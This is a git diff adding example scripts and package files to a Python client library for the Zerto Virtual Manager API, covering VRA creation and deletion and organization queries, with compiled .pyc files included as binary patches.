if response in ['no', 'n']: + return False + print("Please answer 'yes' or 'no'") + +def select_from_list(items, item_type: str): + """Let user select an item from a list""" + logging.info(f"select_from_list: {json.dumps(items, indent=2)}") + print(f"\nAvailable {item_type}s:") + for idx, item in enumerate(items, 1): + if 'VirtualizationHostName' in item: # For hosts + print(f"{idx}. {item['VirtualizationHostName']} ({item['HostIdentifier']})") + elif 'DatastoreName' in item: # For datastores + print(f"{idx}. {item['DatastoreName']} ({item['DatastoreIdentifier']})") + elif 'VirtualizationNetworkName' in item: # For networks + print(f"{idx}. {item['VirtualizationNetworkName']} ({item['NetworkIdentifier']})") + + while True: + try: + choice = int(input(f"\nSelect {item_type} (1-{len(items)}): ")) + if 1 <= choice <= len(items): + return items[choice - 1] + except ValueError: + pass + print(f"Please enter a number between 1 and {len(items)}") + +def list_vras(client: ZVMLClient): + """List all VRAs and their details""" + vras = client.vras.list_vras() + print(f"\nFound {len(vras)} VRAs:") + for vra in vras: + print(f"\nVRA Details:") + print(f" Name: {vra.get('VraName')}") + print(f" Status: {vra.get('Status')}") + print(f" IP Address: {vra.get('IpAddress')}") + print(f" Version: {vra.get('VraVersion')}") + print(f" Host: {vra.get('HostName')}") + +def create_vra_with_selection(client: ZVMLClient, vra_number: int) -> Dict: + """Create a VRA with user-selected resources""" + # Get local site information + local_site = client.localsite.get_local_site() + site_id = local_site['SiteIdentifier'] + + # Get available resources for the local site + print("\nRetrieving available resources...") + hosts = client.virtualization_sites.get_virtualization_site_hosts(site_id) + if not hosts: + raise ValueError("No hosts found in local site") + + datastores = client.virtualization_sites.get_virtualization_site_datastores(site_id) + if not datastores: + raise ValueError("No datastores found in local site") + + networks = client.virtualization_sites.get_virtualization_site_networks(site_id) + if not networks: + raise ValueError("No networks found in local site") + + # Let user select resources + print("\nSelect resources for VRA deployment:") + host = select_from_list(hosts, "Host") + datastore = select_from_list(datastores, "Datastore") + network = select_from_list(networks, "Network") + + while True: + # Let user customize IP address + default_ip = f"192.168.111.{30 + vra_number - 1}" + custom_ip = input(f"\nEnter VRA IP address (press Enter to use default {default_ip}): ").strip() + vra_ip = custom_ip if custom_ip else default_ip + + # Create VRA configuration + vra_config = { + "hostIdentifier": host['HostIdentifier'], + "datastoreIdentifier": datastore['DatastoreIdentifier'], + "networkIdentifier": network['NetworkIdentifier'], + "hostRootPassword": input("\nEnter host root password: "), + "memoryInGb": 3, + "groupName": f"VRA_Group{vra_number}", + "vraNetworkDataApi": { + "vraIPConfigurationTypeApi": "Static", + "vraIPAddress": vra_ip, + "vraIPAddressRangeEnd": "", + "subnetMask": "255.255.255.0", + "defaultGateway": "192.168.111.254" + }, + "usePublicKeyInsteadOfCredentials": False, + "populatePostInstallation": True, + "numOfCpus": 1, + "vmInstanceType": "" + } + + # Create VRA + print(f"\nCreating VRA {vra_number} with configuration:") + print(json.dumps(vra_config, indent=2)) + + response = input("\nProceed with VRA creation? (yes/no/edit): ").lower().strip() + if response in ['yes', 'y']: + result = client.vras.create_vra(vra_config) + print(f"VRA creation initiated: {json.dumps(result, indent=2)}") + return result + elif response in ['no', 'n']: + return None + elif response in ['edit', 'e']: + print("\nRestarting VRA configuration...") + continue + else: + print("Please answer 'yes', 'no', or 'edit'") + +def main(): + parser = argparse.ArgumentParser(description="VRA Management Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Setup client + client = setup_client(args) + + # Step 1: List existing VRAs + print("\nStep 1: Listing existing VRAs...") + list_vras(client) + + # Step 2: Ask for deletion confirmation + if get_user_confirmation("Would you like to delete all existing VRAs?"): + print("\nStep 2: Deleting existing VRAs...") + vras = client.vras.list_vras() + for vra in vras: + vra_id = vra.get('VraIdentifier') + print(f"Deleting VRA: {vra.get('VraName')} ({vra_id})") + client.vras.delete_vra(vra_id) + print("Waiting for deletion to complete...") + time.sleep(5) # Give some time for deletion to process + + # Step 3: Create new VRAs + if get_user_confirmation("Would you like to create new VRAs?"): + print("\nStep 3: Creating new VRAs...") + + # Create first VRA + print("\nConfiguring first VRA...") + result1 = create_vra_with_selection(client, 1) + if result1: + print("Waiting for first VRA deployment to complete...") + time.sleep(30) + + # Create second VRA + if get_user_confirmation("Would you like to create a second VRA?"): + print("\nConfiguring second VRA...") + result2 = create_vra_with_selection(client, 2) + if result2: + print("Waiting for second VRA deployment to complete...") + time.sleep(30) + + # Step 4: Verify final state + print("\nStep 4: Verifying final VRA configuration...") + list_vras(client) + + except Exception as e: + logging.exception("Error occurred:") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/zorgs_example.py b/examples/zorgs_example.py new file mode 100644 index 0000000..309c899 --- /dev/null +++ b/examples/zorgs_example.py @@ -0,0 +1,139 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Organizations (ZORG) Management Example Script + +This script demonstrates how to manage Zerto Organizations (ZORGs) using the Zerto Virtual Manager (ZVM) API. +It showcases ZORG querying and information retrieval operations. + +Key Features: +1. ZORG Management: + - List all ZORGs in the environment + - Query specific ZORG details by ID + - Retrieve detailed ZORG information + - Demonstrate ZORG filtering capabilities + +2. Information Retrieval: + - Get ZORG identifiers + - Access ZORG configuration details + - View ZORG relationships and permissions + - Monitor ZORG status + +3. Error Handling: + - Robust error handling for API requests + - Detailed logging of operations + - Graceful handling of missing ZORGs + +Required Arguments: + --zvm_address: ZVM server address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + --zorg_id: Optional specific ZORG ID to query + +Example Usage: + python examples/zorgs_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --ignore_ssl \ + --zorg_id "optional-zorg-id" + +Script Flow: +1. Connects to ZVM server +2. Lists all available ZORGs +3. If specific ZORG ID provided: + - Retrieves detailed information for that ZORG +4. Otherwise: + - Gets details of first available ZORG +5. Outputs detailed ZORG information + +Note: This script demonstrates basic ZORG management capabilities and can be used +as a foundation for more complex ZORG operations and automation. +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Organizations (ZORG) Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + parser.add_argument("--zorg_id", help="Optional: Specific ZORG ID to query") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Test 1: Get all ZORGs + logging.info("\n=== Testing get_zorgs (all) ===") + try: + zorgs = client.zorgs.get_zorgs() + logging.info("All ZORGs:") + logging.info(json.dumps(zorgs, indent=2)) + except Exception as e: + logging.error(f"Error getting all ZORGs: {e}") + + # Test 2: Get specific ZORG if ID provided + if args.zorg_id: + logging.info(f"\n=== Testing get_zorgs with ID: {args.zorg_id} ===") + try: + zorg_details = client.zorgs.get_zorgs(args.zorg_id) + logging.info("ZORG details:") + logging.info(json.dumps(zorg_details, indent=2)) + except Exception as e: + logging.error(f"Error getting ZORG {args.zorg_id}: {e}") + + # Test 3: Get first ZORG details if any exist + elif zorgs and len(zorgs) > 0: + first_zorg = zorgs[0] + zorg_identifier = first_zorg.get('ZorgIdentifier') + if zorg_identifier: + logging.info(f"\n=== Testing get_zorgs with first found ID: {zorg_identifier} ===") + try: + zorg_details = client.zorgs.get_zorgs(zorg_identifier) + logging.info("First ZORG details:") + logging.info(json.dumps(zorg_details, indent=2)) + except Exception as e: + logging.error(f"Error getting ZORG {zorg_identifier}: {e}") + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..eb4a8f9 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +requests>=2.31.0 +urllib3>=2.1.0 \ No newline at end of file diff --git a/zvml/__init__.py b/zvml/__init__.py new file mode 100644 index 0000000..d488316 --- /dev/null +++ b/zvml/__init__.py @@ -0,0 +1 @@ +from .client import ZVMLClient \ No newline at end of file diff --git a/zvml/__pycache__/__init__.cpython-313.pyc b/zvml/__pycache__/__init__.cpython-313.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e6cdddafde866ae4ed4466c0feeeecd6fae5704a GIT binary patch literal 275 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 oCQb4pF literal 0 HcmV?d00001 diff --git a/zvml/__pycache__/checkpoints.cpython-313.pyc b/zvml/__pycache__/checkpoints.cpython-313.pyc new file mode 100644 index 0000000000000000000000000000000000000000..0dec193c2db85d44610e50cec445b7e641691d18 GIT binary patch literal 865 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 